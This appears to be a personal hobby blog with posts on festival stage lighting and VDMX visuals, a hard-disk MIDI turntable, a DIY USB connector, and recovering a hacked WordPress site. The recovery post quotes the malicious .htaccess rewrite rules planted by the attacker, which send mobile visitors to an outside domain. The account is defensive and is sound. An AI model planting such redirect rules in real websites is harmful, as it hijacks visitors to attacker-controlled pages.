Terrassenfest 2013

This post will be about my third time at the Terrassenfest (Facebook). It’s an annually held 3-day event organized by volunteers of the senior technical college in the city of Osnabrück. Every night there are 2 bands and a DJ afterwards. We are doing the stage for the third year now and I guess it’s the right time to go a little more into detail than the years before.

This is the 38th year this event takes place. Last year my former boss visited me when I was working there and told me he had been organizing this event ~25 years ago himself.

It all begins at home in Hamburg. I am in charge of lights and visuals and I will be using VDMX for the first time. I already created some footage and am working on the basic screen setup.

The stage-setup will contain 10 units of 42 inch monitors. 6 being twisted by 90 degress, hanging overhead in the truss, 4 being packed together in a somewhat classical 2*2 matrix-style stetup. The monitors themselves are configured in 3*3 matrix mode. This means every monitor gets the same input data but only displays 1/9th of the actual picture depending on the position that was set in its configuration.

Codec shootout based on visual impression and CPU usage. VMDX’s new HAP codec won.

Packing my stuff for staying out of Hamburg for 5 days (sat – thur).

This is only the technical stuff i’m carrying:

MacBook pro, Lenovo Thinkpad, Akai APC20…. to name just a bit of the stuff i took with me. It’s important to know that I will be meeting friends of mine there and I’m planning to play arround with different stuff so I am taking way more than I’d need to.

Entering a 4-day mayhem.

The foh (front of house) will be by new home from now on. The most important thing (the fridge) is already there. Though the Terrassenfest is organized by volunteers it doesn’t lack professionality at all. We get the best support one could think of. Including a never-ending amount of energy-drinks, beer and grilled food.

By the way: It’s one of the better ideas to use an extra cable only for the fridge at the foh. Trust me.

Working for the company doing the stage for me as the guy for lights and visuals also means: Bringing up the complete stage! From zero.

Well…. it IS that much. It took us Sunday to build up the stage.

Yes, this is a friggin’ huge PA-System. It IS way too much for such a tent. But it DOES sound incredibly good.

Part of the monitor setup. 4 Monitors are hanging in the back truss, one is hanging at each side.

That might be me…

And that might be another pile of cables

Slowly growing

Oh… and by the way: we’re also doing the trussing and lights for the bar…

And YES: we are going full pro on this one.

First impressions at night. All lights on 100% to check whether we calculated our energy consumption correctly. We did.

Getting a little bit into detail. The dmx data for the lights are transmitted via lumenradio. The video is transmitted via ethernet cabling based on Kramer technology.

Signals arriving at Dimmerland, Amptown city. From here the DMX data are fed back into cable and the video data are sent to various multiplexers to reach the monitors.

This is the final stage setup. The DJ booth will be put aside as long as the bands are playing. One aspect of this setup is to be able to change from band to DJ as quick as possible. It took us ~5 minutes each time.

For the videos I created two main groups in VDMX. The ‘Truss-Group’ and the ‘DJ-Group’ (guess which is which). The Truss-Group consists of three layers: Background, Center and Front. The Background layer spans over the 6 monitors completely and the visuals will be twisted by 90 degrees. That’s okay since this layer is intended for blurry-motioned video backgrounds. The Center and Front Layer are twisted by 90 degrees within VDMX so they will be ligned up correctly on stage. Both layers are cropped and resized so the whole video of the layer will be shown on every screen.

The DJ-Group only consists of two layers: Background and Center but the configuration is similar – without the 90 degree twist.

I could have done more but I wasn’t too sure about overall CPU usage and stability so I decided to better be safe than sorry. Next time I guess I will be doing 8 layers each since VDMX showed no problems at all.

Everything that I wanted to have control of was connected with a custom control interface which was then connected to different midi inputs. That way everything stayed clear and easy to handle… just in case…

Everything is controlled via an APC20 from Akai

The buttons on the right select the page in the media bin (‘Chroma’, ‘Ballern’, ‘Stuff’, ‘Strahl’ and ‘Atmo’). The butons above the big stripe of yellow duct tape select the layer the video clip is played on and the 40 main buttons finally select the video clip itself. The faders from left to right control each layer’s opacity.

Btw.: The duct tape is the expensive type which is used by professional painters. Not the cr*p you get in your ordinary hardware-store. It’s 3 or 4 times as expensive but absolutely worth the money. You can stick it on, leave it there for a year or more and remove it without leaving just one bit of ugly residue. Try this with your Gaffa-Tape.

That’s my setup at the front of house. From left to right: MacBook pro 13″ running VDMX being controlled by an APC20 from Akai. Some earplugs and a Korg Kontrol 49 Keyboard for controlling GrandMa onPC running on a Panasonic Toughbook. If you look carefully you’ll spot a Wiimote as well. This was used to control two effects in VDMX. Pixelate and Strobe. Though I am generally not too much into using video-fx this sure was huge fun, especially for the people hanging around at the foh.

(click for a larger image)

The way the lights are connected with the keyboard has grown over the years. It evolved from the very first show that I used when working in a discotheque. It has become so intuitive even my mom can do it:

By the way: I was staying with my parents for the time which was quite a lot of fun. I moved out ~15 years ago and haven’t slept there more than 6 nights since. They brought me to the event every day and my dad was totally eager to carry my bag:

Considering the amount of bullsh*t (a.k.a infurious pain) he is going through with all his back this has to be accepted as one of the coolest things a dad can do for his son.

That’s part of what the setup is capable of:

This is one bad mobile-phone photo giving a glimpse of what it looked like when the bands played. During their set I brought their logos on the screen together with some background videos colour-fitted to the rest of the lights. This always looks amazingly cool and it shows that you don’t need an LED-Wall in the back to do a good show.

I will add more and better photos with overall impressions within the next days.

By the way: We intentionally didn’t use an LED-Wall. Right now I see LED-Walls on every yet-so-small village-party-stage. What’s wrong with the people out there? Is an LED-Wall the new huge phallus-symbol in stage design? Does every average top40-band really need hi-res image processing in the background? Wake up guys: It’s about the band and the music! Not about what you are able to dry-hire …..

Some hours into the first night (bands were done, DJ was playing) the event got into some trouble with local authorities because of noise. Fact is: we couldn’t get more silent than ~80 decibel just because of the people themselves making this amount of noise purely by being there. Anyways, It was on us to turn the music down. This ended in the situation that we needed the Master-Out on a headphone in order to -literally- hear anything from the music.

The second night we caught a glimpse of the music because the DJ turned his monitor speaker up enough so we could hear him through the tent. Foh seemed to be a good place to catch some … sleep. Cool thing: Nevertheless people stayed there until the end at 3’o clock in the morning. I was told there were ~3500 patrons every night.

Growing chaos at the second day.

Oh and by the way…..this is a f*cking NON SMOKING TENT….damnit

Revenge of a non-smoker

I learned from past events that it is important to NOT drink all the energy drinks that are available but only so many you really need to. Last time it took my body 5 days to  come back to normal digestion…intervals….

This is the event ground at the dawn after the last day. the event left its marks.

This is me going to bed after dawn after the last day after taking down the complete stage. Being all comfy and stuff. I guess the event also left its marks on me.

I am writing this right now so probably I’m not dead by Terrassenfest.

Big Bang Theory

Wie man erkennt, dass es sich bei dem Treppenhaus immer um die selbe Kulisse handelt, die nur aus einer (angedeuteten) Etage besteht.

 

Mal abgesehen davon, dass das sowieso jedem klar ist und mal ganz abgesehen davon, dass das in den Extras der vierten Staffel eh verraten wurde, ist hier der Beweis, der mich (ungelogen) seit der ersten Folge in JEDER Folge anspringt.

 

Vorhang auf. Erste Etage:

 

Zweite Etage:

 

Dritte Etage:

 

Eindeutig… also DAS hätten die Produzenten besser hinbekommen können =).

Btw: Das Muster unten rechts kommt knapp unter dem Lichtschalter nocheinmal vor. Also vermutlich Dekofolie und kein Echter Marmor.

 

Himmel, ich hab’ SOWAS von zuviel Zeit….

Harddisk Turntable

This is my attempt to build a Midi turntable (a.k.a. Jogwheel) from an old harddrive.

Some time ago I came across this (rather famous) article:

A hard drive hacked into a turntable

What they basically did here is to take an old harddrive and connect the motor via a set of op-amps to a microcontroller. When the platter is moved the motor (now actring as a generator) will produce signals that can be analysed by the µC and used for generating Midi out.

So far so excellent. But the deeper I got into the topic the more it became clear that this wasn’t the best solution for me since the article states that very small and slow platter-motion isn’t detected reliably.

That’s why I started building my own version of a harddisk turntable using the optical sensor of an old mouse.

Here we go, it all starts with an old harddisk

I have been dealing with computers for more than 20 years now but this is the only harddisk I had ever problems with. And this probably wasn’t caused by one of those “ooh my god…my harddisk suddenly crashed”-moments ismply but due to accidentally dropping it while moving to another flat.

So – this is the first time ever that I’m taking apart a harddisk….

I figured out that I had to get rid of two platters because it would make the construction too heavy an dull-feeling.

In order for the optical sensor to be able to detect the platter being moved I taped the edge of the platter to give it some structure.

Fortunately the harddrive motor could completely be detached from the housing. This way I can use it in another case

The mouse was a Logitech RX250 that I had lying around

The sensor is of type A5020E. Fortunately I found an Arduino library for this device over here. It’s a little bit old and in order to make it work under Arduino 1.0.1 you have to exchange

#include “WConstants.h”        against

#include “Arduino.h”       in the .cpp file. That’s all.

I simply desoldered the sensor and put it on a scrap piece of vector board. This will later be fixed by hotglue-influenced-technology =). the datasheet can be found here or here (if the original site will change or be offline).

During the first attempts I found out that it’s a good idea to keep the clear piece of plastic together with the mouse’s original LED in order to have the right conditions for the optical sensor’s illumination. For that reason I cut an appropriate hole into the new case.

It is pretty save to say that I am by far one of the worst craftsmen around….

Because I left away two of the three harddisk’s platters I had some space that needed to be filled up. This piece of foam comes from inside the old harddisk

Some hotglue later

At the moment the circuit only exists on an Arduino breadboard. I will fix this later

Proof of concept

Normally I try to create all my circuits as clean as possible. Proper layout, exactly the right amount of space, everything neat and tidy. Not this time. I think that from now on I don’t give a brick about that any more. It’s way more fun to just go for it with as little space left as possible. Trains your soldering skills as well.

I could’ve left the voltage regulator since it only causes problems. There isn’t even a reason for it since the device will be USB-powered and USB has relatively exact 5 Volts so why care… anyway, I didn’t want to desolder it… yet.

The USB interfacing is done via one of my all time favourite hacks. I once bought about 15 ultra-cheap USB-to-MIDI convertors (~6€ each) and I use one everytime I need USB-Midi  in one of my Projects. (Those where you only have a cable with USB on the one and two MIDI conectors on the other side. In between is a circuit taking care of all the USB stuff etc.)

While doing the finetuning I tried different approaches for the coating of the platter. An untreated harddisk platter’s motion will not be recognized by the optical sensor so you have to attach some kind of structure to it.

Using plain simple duct tape I was able to yield the best results. The rest will be handled in code.

And just as a little side gimmick i added a green led which is lit …

…when you touch the platter. Oh – and it sends out MIDI by the way =)  The poti is there to adjust the sensitivity of the touch sensor.

This picture shows the distance between the platter and the optical sensor. I tried different configurations but it turns out that my initial approach was just about perfect.

While thinking about how to actually use this thing I came across a few ideas and added a little more stuff to the circuit

Pressing the left putton will light up the left LED and make the device put out Midi CC #42 when the platter is spun. When the right button is pressed the other LED will light up and Midi CC #43 will be sent upon moving the platter. When the middle button is pressed the Midi Channel will change from 9 to 10 so you can use it for temporary pitchbending, etc. The screw above the LED on the right side is electrically connected to the platter so you have another ‘platter is touched’ contact.

The whole device came out pretty well. I still have some minor quirks when spinning the platter ~really~ fast but I will give it a test run within the next days before altering the code any further.

[Update 10.11.2013]

I added another poti which makes it possible to change the response rate of the platter (and, of course, I altered the micro controller’s code…). That way you don’t have to fiddle around within software but can easily adjust it on the fly

As a result I found a quite easy to do live video scratching within my favorite VJ-software (VDMX)

GrandMA Command Line Interface

[Update 16.11.2017] Due to request there is an updated Version of this post [/Update]

[Update 20.10.2016] This seems to be quite an active post on this website according to the wp statistics plugin. If you are a real human being (and not a clever bot) please leave a comment below so I can see whether there are real people searching for this topic. Best regards, Andy [/Update]

 

I had this lying around for years – literally.

 

(The following pieces of information might be outdated…some of the things are recovered from my memory  – some are leftovers from handwritten documentation I made while analyzing the software. The first working version of the code dates back to the beginning of 2008…. but I did a quick check and all of the things still do work so I can’t be that wrong.)

 

I have been doing lights for concerts, disco and various parties throughout the years. Most of the times I used a GrandMA lighting desk. Either a real hardware console or the cheaper onPC version.

Continue reading

Cleaning an infected WordPress Installation

On December, 28th 2012 I realized something was wrong with my website. Visiting it from my girlfriend’s IPhone/ Android tablet (yes … Christmas …) I was always redirected to some pr0n portal. It was something with ‘SexGoesMobile’.

 

I’m writing this down due to the fact that I didn’t find too many pieces of information that helped me with this. Maybe it’ll help you facing the same problem. Let me know.

 

A quick research showed that there were numerous .htaccess-files spread everywhere around my WordPress installation which were responsible for that. All of them had the  same content:
RewriteEngine On
RewriteCond %{HTTP:X-WAP-PROFILE} !^$ [OR]
RewriteCond %{HTTP_USER_AGENT} ^.*(Alcatel|Asus|Android|BlackBerry|Ericsson|Fly|Huawei|i-mate|iPAQ|iPhone|iPod|LG-|LGE-|MDS_|MOT-|Nokia|Palm|Panasonic|  […] [NC,OR]
RewriteCond %{HTTP_ACCEPT} application/vnd.wap.xhtml\+xml [NC,OR]
RewriteCond %{HTTP_ACCEPT} text/vnd.wap.wml [NC]
RewriteRule ^(.*) http://crzyluxtds.in/go.php?sid=1 [L,R=302]

 

I’m by far not the most highly skilled webmaster/ html/ php -guy but It does’t take rocket science to find out that http://crzyluxtds.in is related to all this. Screw these guys!

 

At this point I had WordPress 3.2.2 installed. From my point of view the only way to really get it clean was reinstalling WordPress and resetting my website.

Here’s what I did:

 

Even though I knew the site was compromised I made an update to the latest WordPress installation from the admin backend. Just wanted to make sure the tables etc are in the right state before exporting their data.

Then I made a list of all the plugins my site used and did a few screenshots (you’ll never know…. these things look ALWAYS different than before … at least different than you remember them …)

 

Afterwards I logged in to the PHPMyAdmin backend of my website via my provider’s interface (German hoster called ‘Strato’). First up I cleaned my database. There still were lots of tables left from my previous endeavours with Joomla. They were easy to identify since their names all started with ‘jos# or ‘jos15’. I deleted them and only had the WordPress tables left (which are easy to spot as well since their names were starting with ‘wp_’).

 

I did an export-to-file of all the WordPress tables, checked the downloaded *.sql file and then went on and deleted all the WordPress tables so that i had a clean database.

 

Afterwards I ftp’ed to my website via FileZilla and made a complete(!)  file backup. then I deleted the Worpress folder. Fortunately all the pictures on my website and all files that can be downloaded are in sepereate folders in the root structure of my website, parallel to the WordPress installation so this was easy.

 

In the local copy of my website I searched for htacess-files in all the non-Wordpress folders and identified all the ones that did the redirection (because it’s a lot faster and  way easier from your file explorer than it is via ftp). Knowing where to find these little bastards I ftp’ed to my webspace again and deleted those files there.  (I can’t remember precisely but there has also been some faulty ‘index.php’ file as well…just keep your eyes open. )

 

Then I did a normal WordPress installation with the latest Version (download, unzip, upload, edit wp-config.php and run install.php). at this point I did not alter any content but only set up an Admin-account.

 

Important step: Goto PHPMyAdmin and make an export of the fresh and clean wordpress tables.

 

Then I tried to re-import the .sql-file and the real trouble began.

 

At first the import of my site’s .sql-file failed because it was bigger than 2048kb (it was ~3800 kb). I tried zipping it (since a .zip-file can also be created via PHPMyAdmin) but this failed as well.

 

Fortunately I came across bigdumb.php which really helped me in this situation. The usage is as easy as possible: Download the php script and locally edit the first 4 items (Db Host, DB name, DB user and password). Then you upload it to a temporary folder on your webspace. To make life easier you best upload your sql-file to that folder as well. Afterwards just call the script from your browser and follow the instructions.

So much for the theory.

 

In my case the script stopped with an error, something with an insert statement being to big (more than 300 lines). Don’t remember it precisely. The good thing about this is that bigdump gives you a line number where the error os triggered. Fine.

I had a look at the .sql-file and found that statement which was too long and broke it down to multiple statements, everyone being shorter than 300 lines.

This was quite an easy task to do. The statement in the original .sql-file looks something like

 

INSERT INTO `wp_postmeta` (`meta_id`, `post_id`, `meta_key`, `meta_value`) VALUES
(1, 2, ‘_wp_page_template’, ‘default’),
(1048, 309, ‘_edit_last’, ‘1’),
(1049, 309, ‘_edit_lock’, ‘*************:1’),
(16, 13, ‘_edit_last’, ‘1’),
(17, 13, ‘_edit_lock’, ‘*****500:1’),
(1053, 311, ‘_edit_lock’, ‘**********93:1’),
(22, 17, ‘_edit_last’, ‘1’),
(23, 17, ‘_edit_lock’, ‘**********5:1’),
(27, 19, ‘_edit_lock’, ‘*********03:1’),

[…~2000 similar lines ~.]
(26, 19, ‘_edit_last’, ‘1’);

 

In order to break this into multiple statements I went to the ~290th line of the insert, exchanged the last comma against a semicolon and copy-pasted the INSERT statement afterwards. My new .sql file then looked something like this:

 

INSERT INTO `wp_postmeta` (`meta_id`, `post_id`, `meta_key`, `meta_value`) VALUES
(1, 2, ‘_wp_page_template’, ‘default’),
(1048, 309, ‘_edit_last’, ‘1’),
(1049, 309, ‘_edit_lock’, ‘*************:1’),
(16, 13, ‘_edit_last’, ‘1’),

[…]
(17, 13, ‘_edit_lock’, ‘*****500:1’),
(1053, 311, ‘_edit_lock’, ‘**********93:1’);   <– see the new semicolon

 

INSERT INTO `wp_postmeta` (`meta_id`, `post_id`, `meta_key`, `meta_value`) VALUES
(22, 17, ‘_edit_last’, ‘1’),
(23, 17, ‘_edit_lock’, ‘**********5:1’),
(27, 19, ‘_edit_lock’, ‘*********03:1’),

[…]
(26, 19, ‘_edit_last’, ‘1’);

 

I had to do this a few times more but afterwards I was able to drop the tables via PHPMyAdmin and re-import the .sql-file via bidump.php again (the tables need to be dropped first because the .sql-file also contains the necessary CREATE TABLE statements. If you run these against already existing tables it fails).

Everything looked fine besides the fact that I couldn’t log on to my site any more. Furthermore I wasn’t able to send me a ‘reset password link’ since the account (‘admin’) and the email-address were unknown to my wordpress installation.

 

Great. Like in ‘not great at all’.

 

Remember that I said it is important to dump your tables after a fresh install? That was a very good thing to do. In short:

 

Back to PHPMyAdmin, dropped all ‘wp_’ tables and re-imported the clean tables from the fresh installation via bigdump. Quick check: Logging on to the website’s backend was possible again.

 

Then i dropped all tables EXCEPT ‘wp_users’ and ‘wp_usermeta’. Keep these! Opened the old .sql file (containing all the precious data from the prior installation) and deleted all the references (creation and insert statements) to the tables ‘wp_users’ and ‘wp_usermeta’.  Re-imported this file via bigdump again and …..

 

voila.

 

All the necessary tables were there, I was able to logon and all my content was back. Afterwards I did a quick reinstall of the WordPress theme (Mantra) and the bare minimum of necessary plugins. Good idea I wrote them down before I started.

 

Saturday night, 3 o’clock in the morning and everything’s fine again.

 

DIY USB Adapter

 

My current MIDI controller has a Mini-USB connector. This has to be one of the worst possible features of the device.  I was facing a lot of garbage data and MIDI dropouts recently and it all came down to faulty contacts caused by this connector.

 

Even worse: the connector is attached on the left side of the device, drastically increasing the possibility of ripping it off unintentionally.

 

I already thought about attaching another type of USB connctor when I hacked the controller itself but somehow I forgot about it (or was too lazy or …).

 

Anyways… the problems I had were big enough  and I wanted to test this kind of hack for quite a long time so it’s finally enough to start thinking about it:

 

If you look very closely you see that there are 5 spring-loaded contacts inside a female Mini-USB connector. Right below every contact is a small hole. I guess that’s where the contact is stuffed into the plastic. My plan was to use these holes with a very thin wire so the wires would touch the contacts ‘from below’. In order to keep the wires from falling out I wanted to apply some pressure to the contacts via a thin piece of plastic.

I had this one lying around and it turned out to have just the correct thickness. Only needed to cut a bit out of it.

 

Excellent

 

Here it all comes together (you only need 4 of the 5 contacts):

 

The wires are held in place surprisingly well so I built a small breakout-board with a somewhat sturdy USB B-Type connector:

 

Don’t forget to cut the coppertraces so the shield is not shortenend with any of the 4 pins. Of course I forgot that and only realized it after applying the first ton of hotglue …

 

The board is attached to the side of the controller using hotglue, the wires are soldered to the corresponding pins. The wire itself is insulated by a clear coating which gets off as soon as you start soldering. As long as you don’t torture them too much there is no problem with shortcuts caused by touching wires.

 

After i made sure everything is working fine I attached … slightly … more hotglue to make it ready for some rough handling:

 

Looks fine, doesn’t it? I am not facing any faulty data or dropouts anymore, the connector is sturdy as hell and it is now pointing to/ from the back side of the device making it less prone to accidental pull-outs. Furthermore I now have to carry only one kind of USB cable with me whenever I’m out making music.